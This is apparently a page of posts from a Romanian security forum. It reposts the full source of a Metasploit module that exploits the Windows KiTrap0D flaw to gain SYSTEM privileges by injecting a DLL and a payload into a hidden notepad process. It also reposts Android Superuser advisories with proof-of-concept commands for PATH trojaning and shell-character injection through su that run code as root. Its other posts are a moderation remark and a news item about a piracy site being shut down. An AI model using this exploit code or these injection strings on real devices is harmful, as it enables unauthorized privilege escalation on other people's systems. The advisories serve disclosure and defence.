  20. Windows SYSTEM Escalation Via KiTrap0D Authored by H D Moore, Pusscat, Tavis Ormandy, OJ Reeves | Site metasploit.com This Metasploit module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll and is not supported on x64 editions of Windows. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Post::File include Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows SYSTEM escalation via KiTrap0D', 'Description' => %q{ This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Original resesarcher and exploit creator 'HD Moore', # Port of Tavis' code to meterpreter module 'Pusscat', # Port of Tavis' code to meterpreter module 'OJ Reeves' # Port of meterpreter code to a windows local exploit ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2010-0232' ], [ 'OSVDB', '61854' ], [ 'MSB', 'MS10-015' ], [ 'EDB', '11199' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ] ], 'DisclosureDate'=> "Jan 19 2010" )) end def check # Validate platform architecture if sysinfo["Architecture"] =~ /x64|WOW64/i return Exploit::CheckCode::Safe end # Validate OS version winver = sysinfo["OS"] unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/ return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end dll = '' offset = nil print_status("Launching notepad to host the exploit...") cmd = "notepad.exe" opts = {'Hidden' => true} process = client.sys.process.execute(cmd, nil, opts) pid = process.pid host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) print_good("Process #{pid} launched.") print_status("Reflectively injecting the exploit DLL into #{pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll") library_path = ::File.expand_path(library_path) ::File.open(library_path, 'rb') { |f| dll = f.read } pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ offset = pe.rva_to_file_offset(e.rva) break end end # Inject the exloit, but don't run it yet. exploit_mem = inject_into_pid(dll, host_process) print_status("Exploit injected. Injecting payload into #{pid}...") # Inject the payload into the process so that it's runnable by the exploit. payload_mem = inject_into_pid(payload.encoded, host_process) print_status("Payload injected. Executing exploit...") # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. host_process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end protected def inject_into_pid(payload, process) payload_size = payload.length payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 payload_mem = process.memory.allocate(payload_size) process.memory.protect(payload_mem) process.memory.write(payload_mem, payload) return payload_mem end end Info: Full Disclosure: Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack Sursa: Windows SYSTEM Escalation Via KiTrap0D ? Packet Storm
  21. Android 4.2.x Superuser Unsanitized Environment Authored by Kevin Cernekee Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner. This advisoriy documents PATH and BOOTCLASSPATH vulnerabilities. Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner: - ChainsDD Superuser (current releases, including v3.1.3) - CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1) - Chainfire SuperSU prior to v1.69 The majority of third-party ROMs include one of these packages. On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. In the course of its normal duties, and prior to making the allow/deny decision, /system/xbin/su invokes external programs under a privileged UID, typically root (0) or system (1000): - /system/bin/log, to record activity to logcat - /system/bin/am, to send intents to the Superuser Java app - /system/bin/sh, to execute the /system/bin/am wrapper script - /system/bin/app_process, the Dalvik VM The user who invokes /system/xbin/su may have the ability to manipulate the environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items belonging to any of these subprocesses. At least two vulnerabilities are readily apparent: - On ClockWorkMod Superuser, /system/xbin/su does not set PATH to a known-good value, so a malicious user could trick /system/bin/am into using a trojaned app_process binary: echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "$@"' > app_process ; chmod 755 app_process PATH=`pwd`:$PATH su -c 'true' The PATH vulnerability is being tracked under CVE-2013-6768. - Other environment variables could be used to affect the behavior of the (moderately complex) subprocesses. For instance, manipulation of BOOTCLASSPATH could cause a malicious .jar file to be loaded into the privileged Dalvik VM instance. All three Superuser implementations allowed Dalvik's BOOTCLASSPATH to be supplied by the attacker. The BOOTCLASSPATH vulnerability is being tracked under CVE-2013-6774. Sursa: Android 4.2.x Superuser Unsanitized Environment ? Packet Storm
  22. Android 4.2.x Superuser Shell Character Escape Authored by Kevin Cernekee Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root. These issues are due to a shell character escape vulnerability. Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root, either without prompting the user or after the user has denied the request: - CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1) - Chainfire SuperSU prior to v1.69 The majority of recent third-party ROMs include one of these packages. Older ROMs may use the ChainsDD Superuser package, which is not affected but is no longer maintained. On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. If any of these checks fail, the denial is recorded by broadcasting an intent to the Superuser app through the Android Activity Manager binary, /system/bin/am. /system/bin/am is invoked as root, and user-supplied arguments to the "su" command can be included on the "am" command line. On a rooted Android >= 4.3 device, due to changes in Android's security model, /system/xbin/su functions as an unprivileged client which connects to a "su daemon" started early in the boot process. The client passes the request over a UNIX socket, and the daemon reads the caller's credentials using SO_PEERCRED. As described above, /system/bin/am is called (now from the daemon) to communicate with the app that implements the user interface. If the user invokes "su -c 'COMMAND'" and the request is denied (or approved), ClockWorkMod Superuser constructs a command line to pass to a root shell: snprintf(user_result_command, sizeof(user_result_command), "exec /system/bin/am " ACTION_RESULT " --ei binary_version %d --es from_name '%s' --es desired_name '%s' --ei uid %d --ei desired_uid %d --es command '%s' --es action %s --user %d", VERSION_CODE, ctx->from.name, ctx->to.name, ctx->from.uid, ctx->to.uid, get_command(&ctx->to), policy == ALLOW ? "allow" : "deny", ctx->user.android_user_id); get_command() would return "COMMAND", unescaped, through "/system/bin/sh -c". By adding shell metacharacters to the command, the root subshell can be tricked into running arbitrary command lines as root: su -c "'&touch /data/abc;'" Upon denial by the operator, "touch /data/abc" will be executed with root privileges. The Superuser variant of this problem is being tracked under CVE-2013-6769. SuperSU prior to v1.69 removes quote and backslash characters from the string passed to /system/bin/sh, but backticks or $() can be used instead for the same effect: su -c '`touch /data/abc`' su -c '$(touch /data/abc)' The SuperSU variant of this problem is being tracked under CVE-2013-6775. ChainsDD Superuser v3.1.3 does not appear to pass the user-supplied input on the /system/bin/am command line. Sursa: Android 4.2.x Superuser Shell Character Escape ? Packet Storm
  23. Eu nu fac afaceri cu nimeni, puteai sa ma intrebi daca am avut vreo treaba cu el. Asteptam si un raspuns din partea lui, poate are vreo scuza. PS: Acum am vazut: Total posts: 1 Nu suntem nebuni cand cerem minim 50 de posturi pentru postat la Market. Nici nu ma obosesc sa ii dau ban pentru asta.
  24. Cel mai cunoscut site de seriale piratate din România a fost închis de Poli?ie de Vlad Andriescu Domeniul de internet vplay.ro, unde exista unul dintre cele mai mari platforme de filme piratate din România a fost închis de Poli?ia Român?. Potrivit hotnews.ro, Institutul Na?ional de Cercetare în Informatic?, care administreaz? domeniile de internet .ro a suspendat domeniul vplay.ro, dup? o sesizare a Poli?iei. Aceasta se referea la un clip de pornografie infantil? care nu putea fi îndep?rtat de pe site, potrivit lui Eugen St?icu?, ?eful departamentului RoTLD din cadrul ICI. Domeniul vplay.ro este de?inut de o persoan? fizic? din Ucraina, c?ruia Poli?ia i-a cerut îndep?rtarea con?inutului de pe site. "În cazule de pornografie infantil? ?i în cazurile de phising se ac?ioneaz? imediat. Poli?ia a contactat ?i autorit??ile din ucraina, dar întrucât nu au primit un r?spuns, ne-a cerut s? t?iem accesul pân? la rezolvarea investiga?iilor cu partea ucrainean?", a decalrat St?icu? pentru hotnews.ro. vplay.ro a fost înregistrat prin Hostway în 2009, dar nu a fost g?zduit de firma de hosting ?i servere din Bucure?ti. VPlay era considerat? cea mai mare platform? de filme piratate de pe internetul românesc. Utilizatorii g?seau aici seriale de la televiziunile americane. Con?inutul site-ului era unul pus acolo ilegal, dar autorit??ile nu au putut ancheta cine se afl? în spatele platformei, deoarece era înregistrat? în afara României. "Mai exist? ?i alte cazuri în curs de anchet? privind site-uri care ar difuza con?inut protejat de drepturi de autor f?r? a avea acordul de?in?torilor acelor drepturi", au mai spus oficialii Poli?iei. Sursa: Cel mai cunoscut site de seriale piratate din România a fost închis de Poli?ie | adevarul.ro mai cunoscut site de seriale piratate din România a fost închis de Poli?ie
  25. Vin multe persoane de aici. Eu vin.
×
×
  • Create New...